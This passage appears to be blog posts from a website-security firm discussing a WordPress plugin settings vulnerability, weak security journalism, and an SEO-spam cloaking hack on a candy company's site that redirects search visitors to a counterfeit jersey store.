All the hacker had to do was to update the settings to turn on that feature and have it use their malicious code.

The fact that a plugin that now has over 600,000 downloads (each time an installed plugin is updated in WordPress that gets included in the download count, so the amount of websites using it is much lower) allowed anyone to change it’s settings and a hacker was the first person to discover this isn’t a good sign for the security of WordPress plugins. We think that Automattic has at least some responsibility for improving this situation.

The response after the fact was much better. The vulnerability was quickly fixed and WordPress automatically pushed the updated version for those running at least WordPress 3.7 (which introduced automatic updates)

Understanding the Scope of Vulnerability

When dealing with a hacked website an important element in the cleanup process is understanding the scope of the exploitation, so that appropriate cleanup action is taken. While it doesn’t hurt to do more than what is needed, it can take more time and increase expenses, which can be a major hardship depending on the website.

In this case the direct impact of the vulnerability is somewhat limited. The hacker is able to add code to the setting and that is loaded on pages on the website but because the setting is stored in the database safely using the update_option function they can not otherwise gain access the database through the vulnerability. It is possible for malicious JavaScript to provide the hacker additional access to the website if an admin was to have visited a page that has the code on it while logged in.

Once a website upgraded to at least version 3.0.4, any malicious code currently stored in the setting is disabled and the vulnerability is patched, so the website should be secure at that point, but you may want take the precautionary measures of changing the passwords associated with the website and checking over the website for malicious code or reverting the website to a backup made before the website was originally hacked.

The Settings API

When looking at how to improve code security, hoping that people will start writing secure code on their own isn’t a good bet. Some combination of making it easier to do things securely and making it harder to write insecure code seems to be an important element to improving the situation.

So could be something be done to deal with this type of situation? There already is a way to handle saving settings securely, the Settings API, which was introduced in WordPress 2.7. This API handles managing settings and only allows settings to be saved by users with manage_options capability, which is normally only given to Administrators (and Super Admins when using MultiSite). The problem with it is that it doesn’t appear to be used in many plugins (that includes our plugin with a settings page, which we are looking to rectify). It would be worth looking in to how to make it so that it is more widely used going forward.

Security Journalism is in Bad Shape

You don’t have to follow IT security closely to know that it isn’t in good shape these days, with major company after company revealing that sensitive customer data has been breached. Good IT security journalism could be an important piece of shining a light on bad practices (which are abundant) and ultimately getting security where it should be. Unfortunately, what we have found is that security journalism is in as bad or worse shape than the security they cover. Take for instance The Register’s article on the situation with this plugin. It misses many important details, like the fact the plugin was being automatically updated for many and that the update would take care of much of the issue. It then follows that up with some truly bad reporting:

The vulnerability followed what was described as the “most serious” hole in five years, disclosed last November, that affected what was then estimated to be 86 per cent of WordPress websites. That cross-site scripting hole was found in the hugely-popular WP-Statistics plugin.

First off we have yet to see any impact from the vulnerability that is mentioned as being the “most serious” hole in five years, its limited impact would be something to mention several months after it was fixed in outdated installs (the current version at the time was not vunerable, which would have been worth mentioning as well). The bigger mistake is that the author of the article is conflating a vulnerability in WordPress itself with an unrelated vulnerability in the the WP-Statistics plugin, despite having also written the article they are citing about the previous vulnerability.

Your Website Probably Wasn’t Hacked by a Competitor or Former Employee

When first discussing with a potential client about dealing with a hacking issue on their website what often comes up are questions about who hacked them and why. On a fairly regular basis they suspect it was a competitor or someone previously involved with the website. In reality the person hacking the website is almost always going to be someone who has no knowledge of the specific website, much less has any connection to it. These hackers are not targeting specific websites, instead they are just trying to gain access to as many websites as possible to use for their own purposes. To get a better idea of what is going on lets take a look at a hacking on a fairly high profile company’s website.

A recent hack we looked at involved a website having a set links added to the website’s page when Google crawled them (this is referred to as cloaking). Several of the links stood out, as they were to pages on justborn.com. You might not recognize the company the website belongs to, Just Born, but you probably are familiar with their products, which include Peeps, Mike and Ike, and Hot Tamales. When visiting one of the linked pages, http://www.justborn.com/services.cfm, the website looks normal at the top but then as you look farther down the page it has repeating text about soccer jerseys:

just-born-spam-hack-1

In fact all of the main content of the page is like that (click to enlarge):

just-born-spam-hack-2By comparison the page it looks like the hacker based the spam page on, http://www.justborn.com/mike-and-ike/the-story, has normal content:

just-born-spam-hack-3

Creating a page on their website with a bunch of text about soccer jerseys wouldn’t make much sense for a competitor or a former employee to do, so what is the purpose of this? Well if you come to the page through a search engine you are redirected to http://www.jerseysokbuy.com/, which as the address suggests is selling jerseys. If you do a search on their address on Google the second result is a page on ScamGuard that describes the website as a “Fake merchandise web-store operating from China. Consumers are advised to avoid making purchases from this site.“. Due to how Google ranks pages this type of hacking can lead to getting pages on websites otherwise unrelated to the product to rank highly. For example, earlier this year we found that a hacking campaign was able to get a website to rank in the top ten for UGG boots, the problem as shown in one of the screenshots in that post is that Google will usually catch up with this eventually and label the website as being hacked. That is part of why the hackers try to get access to as many websites as possible so they can switch to new websites when the old websites get labeled or the webmaster catches on and cleans up the hack.

Interestingly, while someone involved with the webiste is hacking other websites to direct to traffic to jerseysokbuy.com, they don’t appear to be interested in getting traffic directly to their website as the listing for their own website in Google says “A description for this result is not available because of this site’s robots.txt – learn more.”.